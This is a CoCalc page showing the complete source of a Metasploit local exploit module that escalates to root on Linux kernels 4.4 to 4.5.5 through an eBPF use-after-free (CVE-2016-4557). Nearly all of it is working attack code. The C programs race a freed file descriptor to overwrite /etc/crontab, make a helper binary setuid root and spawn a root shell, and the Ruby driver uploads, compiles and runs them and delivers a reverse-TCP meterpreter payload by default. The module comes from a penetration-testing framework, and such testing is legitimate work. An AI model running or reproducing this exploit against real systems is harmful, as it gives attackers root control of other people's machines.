CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/local/bpf_priv_esc.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = GoodRanking
8
9
include Msf::Post::File
10
include Msf::Post::Linux::Priv
11
include Msf::Post::Linux::System
12
include Msf::Post::Linux::Kernel
13
include Msf::Exploit::EXE
14
include Msf::Exploit::FileDropper
15
prepend Msf::Exploit::Remote::AutoCheck
16
17
def initialize(info = {})
18
super(
19
update_info(
20
info,
21
'Name' => 'Linux BPF doubleput UAF Privilege Escalation',
22
'Description' => %q{
23
Linux kernel 4.4 < 4.5.5 extended Berkeley Packet Filter (eBPF)
24
does not properly reference count file descriptors, resulting
25
in a use-after-free, which can be abused to escalate privileges.
26
27
The target system must be compiled with `CONFIG_BPF_SYSCALL`
28
and must not have `kernel.unprivileged_bpf_disabled` set to 1.
29
30
Note, this module will overwrite the first few lines
31
of `/etc/crontab` with a new cron job. The job will
32
need to be manually removed.
33
34
This module has been tested successfully on Ubuntu 16.04 (x64)
35
kernel 4.4.0-21-generic (default kernel).
36
},
37
'License' => MSF_LICENSE,
38
'Author' => [
39
'[email protected]', # discovery and exploit
40
'h00die <[email protected]>' # metasploit module
41
],
42
'Platform' => ['linux'],
43
'Arch' => [ARCH_X86, ARCH_X64],
44
'SessionTypes' => ['shell', 'meterpreter'],
45
'DisclosureDate' => '2016-05-04',
46
'Privileged' => true,
47
'References' => [
48
['BID', '90309'],
49
['CVE', '2016-4557'],
50
['EDB', '39772'],
51
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=808'],
52
['URL', 'https://usn.ubuntu.com/2965-1/'],
53
['URL', 'https://launchpad.net/bugs/1578705'],
54
['URL', 'http://changelogs.ubuntu.com/changelogs/pool/main/l/linux/linux_4.4.0-22.39/changelog'],
55
['URL', 'https://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-4557.html'],
56
['URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7']
57
],
58
'Targets' => [
59
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
60
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
61
],
62
'DefaultOptions' => {
63
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
64
'PrependFork' => true,
65
'WfsDelay' => 60 # we can chew up a lot of CPU for this, so we want to give time for payload to come through
66
},
67
'Notes' => {
68
'AKA' =>
69
[
70
'double-fdput',
71
'doubleput.c'
72
]
73
},
74
'DefaultTarget' => 1,
75
'Compat' => {
76
'Meterpreter' => {
77
'Commands' => %w[
78
stdapi_fs_delete_file
79
stdapi_sys_process_execute
80
]
81
}
82
}
83
)
84
)
85
register_options [
86
OptEnum.new('COMPILE', [true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
87
OptInt.new('MAXWAIT', [true, 'Max time to wait for decrementation in seconds', 120])
88
]
89
register_advanced_options [
90
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),
91
]
92
end
93
94
def base_dir
95
datastore['WritableDir'].to_s
96
end
97
98
def exploit_data(file)
99
::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', file)
100
end
101
102
def upload(path, data)
103
print_status "Writing '#{path}' (#{data.size} bytes) ..."
104
rm_f path
105
write_file path, data
106
register_file_for_cleanup path
107
end
108
109
def upload_and_chmodx(path, data)
110
upload path, data
111
chmod path
112
end
113
114
def live_compile?
115
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
116
117
return true if has_prereqs?
118
119
unless datastore['COMPILE'].eql? 'Auto'
120
fail_with Failure::BadConfig, 'Prerequisites are not installed. Compiling will fail.'
121
end
122
end
123
124
def has_prereqs?
125
def check_libfuse_dev?
126
lib = cmd_exec('dpkg --get-selections | grep libfuse-dev')
127
if lib.include?('install')
128
vprint_good('libfuse-dev is installed')
129
return true
130
else
131
print_error('libfuse-dev is not installed. Compiling will fail.')
132
return false
133
end
134
end
135
136
def check_gcc?
137
if has_gcc?
138
vprint_good('gcc is installed')
139
return true
140
else
141
print_error('gcc is not installed. Compiling will fail.')
142
return false
143
end
144
end
145
146
def check_pkgconfig?
147
lib = cmd_exec('dpkg --get-selections | grep ^pkg-config')
148
if lib.include?('install')
149
vprint_good('pkg-config is installed')
150
return true
151
else
152
print_error('pkg-config is not installed. Exploitation will fail.')
153
return false
154
end
155
end
156
157
return check_libfuse_dev? && check_gcc? && check_pkgconfig?
158
end
159
160
def upload_and_compile(path, data, gcc_args = '')
161
upload "#{path}.c", data
162
163
gcc_cmd = "gcc -o #{path} #{path}.c"
164
if session.type.eql? 'shell'
165
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
166
end
167
168
unless gcc_args.to_s.blank?
169
gcc_cmd << " #{gcc_args}"
170
end
171
172
output = cmd_exec gcc_cmd
173
174
unless output.blank?
175
print_error output
176
fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable."
177
end
178
179
register_file_for_cleanup path
180
chmod path
181
end
182
183
def check
184
release = kernel_release
185
version = kernel_version
186
187
if Rex::Version.new(release.split('-').first) < Rex::Version.new('4.4') ||
188
Rex::Version.new(release.split('-').first) > Rex::Version.new('4.5.5')
189
vprint_error "Kernel version #{release} #{version} is not vulnerable"
190
return CheckCode::Safe
191
end
192
193
if version.downcase.include?('ubuntu') && release =~ /^4\.4\.0-(\d+)-/
194
if $1.to_i > 21
195
vprint_error "Kernel version #{release} is not vulnerable"
196
return CheckCode::Safe
197
end
198
end
199
vprint_good "Kernel version #{release} #{version} appears to be vulnerable"
200
201
lib = cmd_exec('dpkg --get-selections | grep ^fuse').to_s
202
unless lib.include?('install')
203
print_error('fuse package is not installed. Exploitation will fail.')
204
return CheckCode::Safe
205
end
206
vprint_good('fuse package is installed')
207
208
fuse_mount = "#{base_dir}/fuse_mount"
209
if directory? fuse_mount
210
vprint_error("#{fuse_mount} should be unmounted and deleted. Exploitation will fail.")
211
return CheckCode::Safe
212
end
213
vprint_good("#{fuse_mount} doesn't exist")
214
215
config = kernel_config
216
217
if config.nil?
218
vprint_error 'Could not retrieve kernel config'
219
return CheckCode::Unknown
220
end
221
222
unless config.include? 'CONFIG_BPF_SYSCALL=y'
223
vprint_error 'Kernel config does not include CONFIG_BPF_SYSCALL'
224
return CheckCode::Safe
225
end
226
vprint_good 'Kernel config has CONFIG_BPF_SYSCALL enabled'
227
228
if unprivileged_bpf_disabled?
229
vprint_error 'Unprivileged BPF loading is not permitted'
230
return CheckCode::Safe
231
end
232
vprint_good 'Unprivileged BPF loading is permitted'
233
234
CheckCode::Appears
235
end
236
237
def exploit
238
if !datastore['ForceExploit'] && is_root?
239
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
240
end
241
242
unless writable? base_dir
243
fail_with Failure::BadConfig, "#{base_dir} is not writable"
244
end
245
246
if nosuid? base_dir
247
fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
248
end
249
250
doubleput = %q{
251
#define _GNU_SOURCE
252
#include <stdbool.h>
253
#include <errno.h>
254
#include <err.h>
255
#include <unistd.h>
256
#include <fcntl.h>
257
#include <sched.h>
258
#include <signal.h>
259
#include <stdlib.h>
260
#include <stdio.h>
261
#include <string.h>
262
#include <sys/types.h>
263
#include <sys/stat.h>
264
#include <sys/syscall.h>
265
#include <sys/prctl.h>
266
#include <sys/uio.h>
267
#include <sys/mman.h>
268
#include <sys/wait.h>
269
#include <linux/bpf.h>
270
#include <linux/kcmp.h>
271
272
#ifndef __NR_bpf
273
# if defined(__i386__)
274
# define __NR_bpf 357
275
# elif defined(__x86_64__)
276
# define __NR_bpf 321
277
# elif defined(__aarch64__)
278
# define __NR_bpf 280
279
# else
280
# error
281
# endif
282
#endif
283
284
int uaf_fd;
285
286
int task_b(void *p) {
287
/* step 2: start writev with slow IOV, raising the refcount to 2 */
288
char *cwd = get_current_dir_name();
289
char data[2048];
290
sprintf(data, "* * * * * root /bin/chown root:root '%s'/suidhelper; /bin/chmod 06755 '%s'/suidhelper\n#", cwd, cwd);
291
struct iovec iov = { .iov_base = data, .iov_len = strlen(data) };
292
if (system("fusermount -u /home/user/ebpf_mapfd_doubleput/fuse_mount 2>/dev/null; mkdir -p fuse_mount && ./hello ./fuse_mount"))
293
errx(1, "system() failed");
294
int fuse_fd = open("fuse_mount/hello", O_RDWR);
295
if (fuse_fd == -1)
296
err(1, "unable to open FUSE fd");
297
if (write(fuse_fd, &iov, sizeof(iov)) != sizeof(iov))
298
errx(1, "unable to write to FUSE fd");
299
struct iovec *iov_ = mmap(NULL, sizeof(iov), PROT_READ, MAP_SHARED, fuse_fd, 0);
300
if (iov_ == MAP_FAILED)
301
err(1, "unable to mmap FUSE fd");
302
fputs("starting writev\n", stderr);
303
ssize_t writev_res = writev(uaf_fd, iov_, 1);
304
/* ... and starting inside the previous line, also step 6: continue writev with slow IOV */
305
if (writev_res == -1)
306
err(1, "writev failed");
307
if (writev_res != strlen(data))
308
errx(1, "writev returned %d", (int)writev_res);
309
fputs("writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.\n", stderr);
310
while (1) sleep(1); /* whatever, just don't crash */
311
}
312
313
void make_setuid(void) {
314
/* step 1: open writable UAF fd */
315
uaf_fd = open("/dev/null", O_WRONLY|O_CLOEXEC);
316
if (uaf_fd == -1)
317
err(1, "unable to open UAF fd");
318
/* refcount is now 1 */
319
320
char child_stack[20000];
321
int child = clone(task_b, child_stack + sizeof(child_stack), CLONE_FILES | SIGCHLD, NULL);
322
if (child == -1)
323
err(1, "clone");
324
sleep(3);
325
/* refcount is now 2 */
326
327
/* step 2+3: use BPF to remove two references */
328
for (int i=0; i<2; i++) {
329
struct bpf_insn insns[2] = {
330
{
331
.code = BPF_LD | BPF_IMM | BPF_DW,
332
.src_reg = BPF_PSEUDO_MAP_FD,
333
.imm = uaf_fd
334
},
335
{
336
}
337
};
338
union bpf_attr attr = {
339
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
340
.insn_cnt = 2,
341
.insns = (__aligned_u64) insns,
342
.license = (__aligned_u64)""
343
};
344
if (syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)) != -1)
345
errx(1, "expected BPF_PROG_LOAD to fail, but it didn't");
346
if (errno != EINVAL)
347
err(1, "expected BPF_PROG_LOAD to fail with -EINVAL, got different error");
348
}
349
/* refcount is now 0, the file is freed soon-ish */
350
351
/* step 5: open a bunch of readonly file descriptors to the target file until we hit the same pointer */
352
int status;
353
int hostnamefds[1000];
354
int used_fds = 0;
355
bool up = true;
356
while (1) {
357
if (waitpid(child, &status, WNOHANG) == child)
358
errx(1, "child quit before we got a good file*");
359
if (up) {
360
hostnamefds[used_fds] = open("/etc/crontab", O_RDONLY);
361
if (hostnamefds[used_fds] == -1)
362
err(1, "open target file");
363
if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, hostnamefds[used_fds]) == 0) break;
364
used_fds++;
365
if (used_fds == 1000) up = false;
366
} else {
367
close(hostnamefds[--used_fds]);
368
if (used_fds == 0) up = true;
369
}
370
}
371
fputs("woohoo, got pointer reuse\n", stderr);
372
while (1) sleep(1); /* whatever, just don't crash */
373
}
374
375
int main(void) {
376
pid_t child = fork();
377
if (child == -1)
378
err(1, "fork");
379
if (child == 0)
380
make_setuid();
381
struct stat helperstat;
382
while (1) {
383
if (stat("suidhelper", &helperstat))
384
err(1, "stat suidhelper");
385
if (helperstat.st_mode & S_ISUID)
386
break;
387
sleep(1);
388
}
389
fputs("suid file detected, launching rootshell...\n", stderr);
390
execl("./suidhelper", "suidhelper", NULL);
391
err(1, "execl suidhelper");
392
}
393
}
394
395
suid_helper = %q{
396
#include <unistd.h>
397
#include <err.h>
398
#include <stdio.h>
399
#include <sys/types.h>
400
401
int main(void) {
402
if (setuid(0) || setgid(0))
403
err(1, "setuid/setgid");
404
fputs("we have root privs now...\n", stderr);
405
execl("/bin/bash", "bash", NULL);
406
err(1, "execl");
407
}
408
409
}
410
411
hello = %q{
412
/*
413
FUSE: Filesystem in Userspace
414
Copyright (C) 2001-2007 Miklos Szeredi <[email protected]>
415
heavily modified by Jann Horn <[email protected]>
416
417
This program can be distributed under the terms of the GNU GPL.
418
See the file COPYING.
419
420
gcc -Wall hello.c `pkg-config fuse --cflags --libs` -o hello
421
*/
422
423
#define FUSE_USE_VERSION 26
424
425
#include <fuse.h>
426
#include <stdio.h>
427
#include <string.h>
428
#include <errno.h>
429
#include <fcntl.h>
430
#include <unistd.h>
431
#include <err.h>
432
#include <sys/uio.h>
433
434
static const char *hello_path = "/hello";
435
436
static char data_state[sizeof(struct iovec)];
437
438
static int hello_getattr(const char *path, struct stat *stbuf)
439
{
440
int res = 0;
441
memset(stbuf, 0, sizeof(struct stat));
442
if (strcmp(path, "/") == 0) {
443
stbuf->st_mode = S_IFDIR | 0755;
444
stbuf->st_nlink = 2;
445
} else if (strcmp(path, hello_path) == 0) {
446
stbuf->st_mode = S_IFREG | 0666;
447
stbuf->st_nlink = 1;
448
stbuf->st_size = sizeof(data_state);
449
stbuf->st_blocks = 0;
450
} else
451
res = -ENOENT;
452
return res;
453
}
454
455
static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) {
456
filler(buf, ".", NULL, 0);
457
filler(buf, "..", NULL, 0);
458
filler(buf, hello_path + 1, NULL, 0);
459
return 0;
460
}
461
462
static int hello_open(const char *path, struct fuse_file_info *fi) {
463
return 0;
464
}
465
466
static int hello_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {
467
sleep(10);
468
size_t len = sizeof(data_state);
469
if (offset < len) {
470
if (offset + size > len)
471
size = len - offset;
472
memcpy(buf, data_state + offset, size);
473
} else
474
size = 0;
475
return size;
476
}
477
478
static int hello_write(const char *path, const char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {
479
if (offset != 0)
480
errx(1, "got write with nonzero offset");
481
if (size != sizeof(data_state))
482
errx(1, "got write with size %d", (int)size);
483
memcpy(data_state + offset, buf, size);
484
return size;
485
}
486
487
static struct fuse_operations hello_oper = {
488
.getattr = hello_getattr,
489
.readdir = hello_readdir,
490
.open = hello_open,
491
.read = hello_read,
492
.write = hello_write,
493
};
494
495
int main(int argc, char *argv[]) {
496
return fuse_main(argc, argv, &hello_oper, NULL);
497
}
498
}
499
500
@hello_name = 'hello'
501
hello_path = "#{base_dir}/#{@hello_name}"
502
@doubleput_name = 'doubleput'
503
doubleput_path = "#{base_dir}/#{@doubleput_name}"
504
@suidhelper_path = "#{base_dir}/suidhelper"
505
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(10..15)}"
506
507
if live_compile?
508
vprint_status 'Live compiling exploit on system...'
509
510
upload_and_compile(hello_path, hello, '-Wall -std=gnu99 `pkg-config fuse --cflags --libs`')
511
upload_and_compile(doubleput_path, doubleput, '-Wall')
512
upload_and_compile(@suidhelper_path, suid_helper, '-Wall')
513
else
514
vprint_status 'Dropping pre-compiled exploit on system...'
515
516
upload_and_chmodx(hello_path, exploit_data('hello'))
517
upload_and_chmodx(doubleput_path, exploit_data('doubleput'))
518
upload_and_chmodx(@suidhelper_path, exploit_data('suidhelper'))
519
end
520
521
vprint_status 'Uploading payload...'
522
upload_and_chmodx(payload_path, generate_payload_exe)
523
524
print_status('Launching exploit. This may take up to 120 seconds.')
525
print_warning('This module adds a job to /etc/crontab which requires manual removal!')
526
527
register_dir_for_cleanup "#{base_dir}/fuse_mount"
528
cmd_exec "cd #{base_dir}; #{doubleput_path} & echo "
529
sec_waited = 0
530
until sec_waited > datastore['MAXWAIT'] do
531
Rex.sleep(5)
532
# check file permissions
533
if setuid? @suidhelper_path
534
print_good("Success! set-uid root #{@suidhelper_path}")
535
cmd_exec "echo '#{payload_path} & exit' | #{@suidhelper_path} "
536
return
537
end
538
sec_waited += 5
539
end
540
print_error "Failed to set-uid root #{@suidhelper_path}"
541
end
542
543
def cleanup
544
cmd_exec "killall #{@hello_name}"
545
cmd_exec "killall #{@doubleput_name}"
546
ensure
547
super
548
end
549
550
def on_new_session(session)
551
# remove root owned SUID executable and kill running exploit processes
552
if session.type.eql? 'meterpreter'
553
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
554
session.fs.file.rm @suidhelper_path
555
session.sys.process.execute '/bin/sh', "-c 'killall #{@doubleput_name}'"
556
session.sys.process.execute '/bin/sh', "-c 'killall #{@hello_name}'"
557
session.fs.file.rm "#{base_dir}/fuse_mount"
558
else
559
session.shell_command_token "rm -f '#{@suidhelper_path}'"
560
session.shell_command_token "killall #{@doubleput_name}"
561
session.shell_command_token "killall #{@hello_name}"
562
session.shell_command_token "rm -f '#{base_dir}/fuse_mount'"
563
end
564
ensure
565
super
566
end
567
end
568
569